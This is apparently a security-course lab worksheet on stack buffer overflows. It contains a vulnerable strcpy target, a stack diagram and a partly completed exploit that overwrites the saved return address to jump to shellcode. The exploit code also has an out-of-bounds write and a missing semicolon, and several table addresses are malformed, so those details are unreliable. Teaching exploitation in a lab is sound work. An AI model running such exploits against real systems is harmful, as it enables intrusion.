

## CSE 484 In-section Worksheet #2

Q1. Draw the stack at the beginning of function `foo`. (file is `target0.c`)

```
int foo(char *argv[]){
    char buf[336];
    strcpy(buf, argv[1]);
}
int main(int argc, char *argv[]){
    if (argc != 2) {
        fprintf(stderr, "target1: argc != 2\n");
        exit(EXIT_FAILURE);
    }
    foo(argv);
    return 0;
}
```

Function	Foo				Main			
Address (hex)	0xffffdba0	0xfffffdcf0	0xffffdcf4	0xffffdcf8	0xffffdc08	0xffffdd0c	0xffffdd10	0xffffdd14
Length (bytes)	336	4	4	4	4	4	4	4
Name	buf	Saved ebp	Saved eip	Argv	Saved ebp	Saved eip	argc	argv
Contents	...	0xfffffdd08	0x08048519	0xffffddb4	0xf7fbfff4	0x08048530	0x2	...

Note on the red highlighted address: there is actually some empty space in main's stack frame which you can examine when using `gdb` to examine the program and running info stack, perhaps because the compiler is aligning the stack to a 16-byte boundary (as with <http://www.avabodh.com/cin/memorymanagement.html>, <https://stackoverflow.com/questions/4175281/what-does-it-mean-to-align-the-stack>). You won't have to take this into account for the labs.

Q2. How is this program vulnerable? How can we structure `buf` to exploit this vulnerability? Fill in the program below. (file is `sploit0.c`)

```

#define TARGET "/bin/target0"
#define EIP 0xffffdba0
#define BUFLLEN 336
int main(void){
    char *args[3];
    char *env[1];
    char buf[BUFLLEN + 9];    // What size should this be?
    memset(buf, 0x90, sizeof(buf) - 1);
    // How does strcpy know when to stop?
    buf[BUFLLEN + 9] = 0
    memcpy(buf, shellcode, sizeof(shellcode) - 1);
    // Where do we put EIP? (hint: pointer arithmetic)
    *(unsigned int*)(buf + BUFLLEN + 4) = EIP;
    args[0] = TARGET;
    args[1] = buf;
    args[2] = NULL;
    env[0] = NULL;
    if (0 > execve(TARGET, args, env))
        perror("execve failed");
    return 0;
}

```

Q3. What gdb (or cgdb) statement and sequence of commands will let us step through these programs if the files are ~/sources/target0.c and ~/sploits/sploit0.c while the executables are /bin/target0 and ~/sources/sploit0?

```
gdb -e ~/sploits/sploit0 -s /bin/target0
```